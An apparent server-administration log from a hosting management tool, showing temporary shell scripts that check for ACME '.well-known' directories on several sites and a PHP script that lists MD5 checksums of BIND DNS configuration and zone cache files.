MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-19 06:00:02: Establishing a connection
2025-11-19 06:00:03: Establishing a connection
2025-11-19 06:00:04:
PUT: /tmp/pkp493619
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-19 06:00:05:
chmod 755 /tmp/pkp493619; /tmp/pkp493619; rm /tmp/pkp493619
2025-11-19 06:00:05:
0
2025-11-20 06:00:03: Establishing a connection
2025-11-20 06:00:03: Establishing a connection
2025-11-20 06:00:03:
PUT: /tmp/pkp159069
#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-20 06:00:05:
chmod 755 /tmp/pkp159069; /tmp/pkp159069; rm /tmp/pkp159069
2025-11-20 06:00:05:
1
2025-11-20 06:00:06: Establishing a connection
2025-11-20 06:00:06:
PUT: /tmp/pkp997538
#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
2025-11-20 06:00:06:
chmod 755 /tmp/pkp997538; /tmp/pkp997538; rm /tmp/pkp997538
2025-11-20 06:00:06:
2025-11-20 06:00:06: Establishing a connection
2025-11-20 06:00:08: Establishing a connection
2025-11-20 06:00:09:
PUT: /tmp/pkp401074
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-20 06:00:09:
chmod 755 /tmp/pkp401074; /tmp/pkp401074; rm /tmp/pkp401074
2025-11-20 06:00:10:
0
2025-11-20 12:42:58: Establishing a connection
2025-11-20 12:43:08: Establishing a connection
2025-11-20 12:43:08:
PUT: /tmp/pkp318426
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-20 12:43:09:
runuser -l bind -s /bin/bash -c '/tmp/pkp318426; rm /tmp/pkp318426'
2025-11-20 12:43:09:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-20 12:43:21: Establishing a connection
2025-11-20 12:43:21: Establishing a connection
2025-11-20 12:43:21:
PUT: /tmp/pkp577390
#!/bin/bash
if [ -d "/var/www/patientapps_test/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-20 12:43:21:
